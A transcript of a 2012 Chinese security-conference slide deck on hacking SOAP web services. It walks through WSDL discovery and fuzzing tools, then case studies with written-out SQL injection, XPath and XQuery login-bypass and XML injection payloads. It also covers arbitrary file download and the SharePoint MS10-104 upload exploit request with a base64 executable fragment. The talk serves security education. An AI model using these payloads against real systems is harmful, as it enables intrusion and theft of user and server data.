[xkungfoo2012]web service hack
DESCRIPTION
pnig0s xkungfoo2012 web service hack methodology focus on soap webserviceTRANSCRIPT
![Page 1: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/1.jpg)
Web Service HackPnig0s@ 知道创宇
![Page 2: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/2.jpg)
About Me:
From: 知道创宇安全研究团队 www.Knownsec.com 1 , Web 安全研究 2 ,核心产品研发
FreeBuf 核心成员 www.FreebuF.com --- 国内外实时安全资源资讯聚合
![Page 3: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/3.jpg)
他们在使用 Web 服务:
![Page 4: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/4.jpg)
1 ,提供 IP 地址来源查询接口 2 , QQ 在线状态查询接口
多种多样的 Web 服务:
![Page 5: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/5.jpg)
3 ,验证码生成接口
多种多样的 Web 服务:
![Page 6: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/6.jpg)
1, 什么是 Web 服务
2, 发现 Web 服务及信息搜集
3,Web 服务弱点及攻击手法
内容概要:
![Page 7: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/7.jpg)
Web服务
UDDI
WSDLSOAP
XML
Go
什么是 Web 服务:
![Page 8: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/8.jpg)
WSDL 文件解析
<wsdl:service name="newsserver"><wsdl:port name="newsserverSoap" binding="tns:newsserverSoap"><soap:address location="http://www.pwnit.com/newsserver.asmx"/></wsdl:port>……</wsdl:service>
什么是 Web 服务:
<service> 标签中提供了当前 Web 服务的名称, Web 服务所在位置:
![Page 9: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/9.jpg)
<portType> 标签中提供了当前所有调用接口名称及调用方法的类型 :
<wsdl:portType name="newsserverSoap"><wsdl:operation name="Gethuodong"><wsdl:input message="tns:GethuodongSoapIn"/><wsdl:output message="tns:GethuodongSoapOut"/></wsdl:operation></wsdl:portType>
什么是 Web 服务:
![Page 10: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/10.jpg)
<types> 标签中提供当前所有接口的参数及返回值的名称与类型信息
Back
<wsdl:types><s:schema targetNamespace="http://tempuri.org/"><s:element name="Gethuodong"><s:complexType><s:sequence><s:element name="title" type="s:string"/></s:sequence></s:complexType></s:element><s:element name="GethuodongResponse"> <s:complexType><s:sequence> <s:element name="GethuodongResult" type="s:string"/></s:sequence></s:complexType></s:element></s:schema></wsdl:types>
![Page 11: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/11.jpg)
什么是 Web 服务:<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:fow="Features.Of.WebService"> <soapenv:Header/> <soapenv:Body> <fow:Characteristic> <fow:Features> 1, 松耦合 2, 语言无关 3, 独立于平台 4, 跨越企业与互联网 </fow:Features> </scor:Characteristic> </soapenv:Body></soapenv:Envelope>
![Page 12: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/12.jpg)
发现 Webservice :
Web 服务一般是对外公开的,所以不难找到它们
1,Google Hack: filetype:asmx inurl:wsdl filetype:wsdl inurl:asmx index of "wsdl“
2,UDDI 注册中心查询: Microsoft,IBM,SAP 提供的 UDDI 服务已经全部停止 公共 Web service 查询网站 : http://webservices.seekda.com/
3,Xmethods( 一些公开的 Web 服务 ): http://www.xmethods.net/ve2/index.po
![Page 13: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/13.jpg)
Google Hack 查询结果:
![Page 14: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/14.jpg)
Seekda 中查询 Amazon 提供的 Web 服务:
![Page 15: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/15.jpg)
Xmethods 中的第三方 Web 服务列表:
![Page 16: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/16.jpg)
Yeah baby,that’s enough.
Oh man,are u kidding me?
1 , WSDL , DISCO 文件信息泄露: payCheck.asmx?wsdl payCheck.asmx/wsdl payCheck.asmx?disco
Web 服务信息搜集:
![Page 17: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/17.jpg)
国内某游戏厂商在线支付平台 Web 服务:
WSDL 文件信息泄露
![Page 18: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/18.jpg)
DISCO 文件信息泄露:
1 , WSDL 中的信息一般是无害的,但也会导致大量业务逻辑被暴露出来。
2 ,没有什么比 WSDL 和 DISCO 文件泄露的信息再多了,通过它们你几乎可以了解该 Web 服务的全部细节,可是 XML 文件看上去很难直观的展示出 Web 服务的相关信息。 So , do it ur self.
![Page 19: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/19.jpg)
Python 脚本遍历 WSDL 文件:
![Page 20: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/20.jpg)
公开的 Web Service 测试工具:
.Net WebService Studio
![Page 21: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/21.jpg)
Foundstone 出品 WSDigger:
提供了简单的漏洞 Fuzzing 功能
![Page 22: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/22.jpg)
WSDigger 生成的报告:
![Page 23: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/23.jpg)
Fuzzing 工具 WS-Attacker :枚举 Web 服务接口信息, SOAP 请求测试, Web 服务Fuzzing
![Page 24: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/24.jpg)
商业版自动化 Web 服务测试神器 SoapUI :
![Page 25: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/25.jpg)
针对 Web 服务安全问题自动化 Fuzzing 过程:
![Page 26: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/26.jpg)
攻击 Web 服务及测试案例
![Page 27: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/27.jpg)
1 , Web 服务依赖于 XML 格式化语言和 SOAP 协议,由于之前所讲的一些特性,这些技术正在变得越来越流行,广泛的被各大企业厂商应用到实际服务中。但很少有相关人员意识到 Web 服务会带来的严重安全问题,攻击者通过实施 Web 服务攻击可以直接渗透到相关服务的核心部分,造成巨大的损失。
2 ,目前针对 Web 服务攻击的防护可以说是安全防御的一个盲区,如WAF , IDS 等防护产品。而由于 Web 服务的开放性和灵活度非常高,所以已有的一些 Web 服务防御措施效果也并不明显。
3 ,访问权限控制是目前 Web 服务的主要防御和控制措施,一个Web 服务接口如果权限设置不当,相关的高权限接口直接暴露在外,被恶意利用就会产生严重的后果。
Web 服务安全概述:
![Page 28: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/28.jpg)
发现Web服务(UDDI,Web服务查询网站,GoogleHack)
针对Web服务请求WSDL,DISCO文件。
针对每个接口人工或自动化Fuzzing进行安全测试
If ur lucky,u can pwn it!
一般 Web Service 渗透测试步骤:
![Page 29: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/29.jpg)
国内某旅游网
1, 正常 SOAP 请求及响应信息:
2, 请求 北京’ :
典型的报错注入点
Error-Based Sql Injection:
![Page 30: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/30.jpg)
请求北京 ‘ and 1=@@version or ‘1‘=‘1 :
爆出当前MSSQL 信息
请求北京 ‘ and 1=user or ‘1’=‘1: 还是 DBO
关联案例: WooYun-2011-01860(Jannock, 某商城 SQL 注入 )
![Page 31: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/31.jpg)
国内某软件厂商
向一个私有接口发起请求:
直接获取服务器数据库连接信息
关联案例 :wooyun-2010-04665(巭 ,北辰国旅 /海涛假期服务器高危漏洞 )
一些私有的 Web 服务接口,没有做好访问权限设置导致接口完全暴露在外,可以被任何人调用,从而被攻击者利用获取一些敏感信息,以便进一步进行渗透。
服务器信息泄露:
![Page 32: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/32.jpg)
一个 GetFile 接口,没有对特殊字符进行过滤和限制可以导致任意文件下载: 1, 发送空参数请求暴出网站绝对路径:
2, 请求目标网站的 Web.config配置文件 :
任意文件下载:
![Page 33: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/33.jpg)
Base64 解码后的配置文件文件内容 :
成功获取到了经过 Base64编码后的文件内容:
![Page 34: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/34.jpg)
国内某 SNS交友社区
获取用户接口 GetUser 未做权限访问控制,任何人可以调用该接口查看任意用户信息。注册一个帐号 ,使用自己的 ID 调用 GetUser 接口:
个人账户信息一览无余
任意用户资料查看:
![Page 35: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/35.jpg)
更换用户 ID 发送请求:
可以查看到其他用户 的账密信息
由于目标网站用户 ID 可预测,因此通过此漏洞,该站上百万的用户账密资料可以被攻击者轻易获取。
关联案例 : wooyun-2010-01209(Jannock, 39健康网多处越权漏洞 )
![Page 36: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/36.jpg)
发现 XML Injection : 1 ,在 SOAP消息中,使用标签作为参数,如: </xmli> 会导致报错。 2 ,使用一对标签作为参数,如 <xmli></xmli>, 观察报错是否消失。
当使用 XML 存储一些敏感数据或使用 XML 格式化数据时,一些 Web 服务接口没有对用户的输入进行转义,导致攻击者可以插入任意 XML 标签,进行越权访问或恶意操作。
XML Injection :
![Page 37: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/37.jpg)
通过 XML Injection我们注入一个具有管理员权限的用户
测试 Xml 文件中的用户信息: ID=0为管理员权限 ID=500为普通用户权限
![Page 38: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/38.jpg)
上面针对的是使用 XML 格式化数据进行的 XML注入,同时我们还可以发送以下请求针对 SOAP 请求本身进行XML注入:
使用注入的帐号登录成功 ,得到管理员权限 :
注入 XML 标签之后的 userdb.xml 文件内容:
![Page 39: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/39.jpg)
1,XPath: XPath 是一门在 XML 文档中查找信息的语言 , 通过元素和属性进行导航。
2,XQuery:建立在 XPath 的基础上 , 比 XPath更加灵活,同样用于在XML 文档中查询信息。已经被现在主流的 RDBMS 所支持,如Oracle, DB2, SQLServer 。
3, 与 SQL 语言不同的是, XML或者 XPath , XQuery 内部没有任何访问权限的控制,如果可以控制 XPath 语句,就能从 XML 文件中查询任何信息。
4,SOAP基于 xmlrpc ,但比其更加复杂和强大,因为使用了 rpc远程过程调用,信息均以数据流传输,因此针对 Web 服务的攻击可以无视php魔术引号等一些 PHP配置文件中的安全限制措施
XPath&XQuery Injection:
![Page 40: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/40.jpg)
使用不存在的用户 invalid/invalid登录 :
使用用户名 :invalid’ or ‘1’=‘1 密码 :invalid’ or ‘1’=‘1 登录。$match_user = $xml->xpath("//User[Username=‘invalid’ and Password=‘invalid’]");$match_user = $xml->xpath("//User[Username=‘invalid’ or ‘1’=‘1’ and Password=‘invalid’ or ‘1’=‘1’]");
登录成功,具备管理员权限
![Page 41: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/41.jpg)
Xquery注入与 Xpath十分相似:doc(userdb.xml)//User[Username=‘invalid’ and Password=‘invalid’]doc(userdb.xml)//User[Username=‘invalid’ or ‘1’=‘1’ and Password=‘invalid’ or ‘1’=‘1]
XQuery 中的一些新特性:1,contains 函数 :doc(userdb.xml)//User[contains(Username,‘invalid’) and contains(Password=‘invalid’)] doc(userdb.xml)//User[contains(Username,‘invalid’) or contains(.,’*’) and contains(Password=‘invalid’) or contains(.,’*’)]2, position 函数 :doc(userdb.xml)//User[contains(Username,‘invalid’) or contains(Username,’root’) and contains(Password=‘’) or contains(.,’*’) and position() <=2]// 语句可以绕过验证,并返回 root 信息 ,position() 指明查询范围为前两个结点
只需要额外指明 xml 文件
![Page 42: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/42.jpg)
SharePoint Server 是一个服务器功能集成套件,提供全面的内容管理和企业搜索。该套件中提供了一个用于文档格式转换的 Web 服务,攻击者通过向 ConvertFile 接口发送畸形的 SOAP 请求来上传恶意文件并执行任意代码。影响版本 :SharePoint 2007 sp2
开启文档转换服务的 SharePoint :
服务监听在 8082端口:
(MS10-104) SharePoint Server Arbitrary File Upload RCE
![Page 43: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/43.jpg)
利用 MSF执行 Payload 成功,获得一个 Meterpreter session :
通过 WireShark截获的 Metasploit向 SharePoint 服务器发送的数据包:
![Page 44: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/44.jpg)
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><i2:ConvertFile id=“ref-1” xmlns:i2="http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface"><launcherUri id="ref-3">http://192.168.80.141:8082/HtmlTrLauncher</launcherUri><appExe id="ref-4"></appExe><convertFrom id="ref-5">..\..\..\..\..\..\..\WINDOWS\system32\IIMKbknocxSsQ.exe</convertFrom><convertTo id="ref-6">html</convertTo><fileBits href="#ref-7"/>…….</i2:ConvertFile><SOAP-ENC:Array id=“ref-7” xsi:type=“SOAP-ENC:base64”>TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACTOPDW11mehddZnoXXWZ6FrEWShdNZnoVURZCF3lmehbhGlIXcWZ6FuEaahdRZnoXXWZ+FHlmehVRRw4XfWZ6Fg3quhf9ZnoUQX5iF1lmehVJpY2jXWZ6F….
Base64 编码后的ShellCode
请求的接口
Web 服务地址
生成的 Payload路径及名称
![Page 45: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/45.jpg)
我们的成果分享及交流途径
通过官方博客: http://blog.knownsec.com/
通过官方微博: @ 知道创宇
![Page 46: [xKungFoo2012]Web Service Hack](https://reader036.vdocuments.mx/reader036/viewer/2022062707/557f66a5d8b42af1298b4956/html5/thumbnails/46.jpg)
Thanks everyone!
@Pnig0s To:M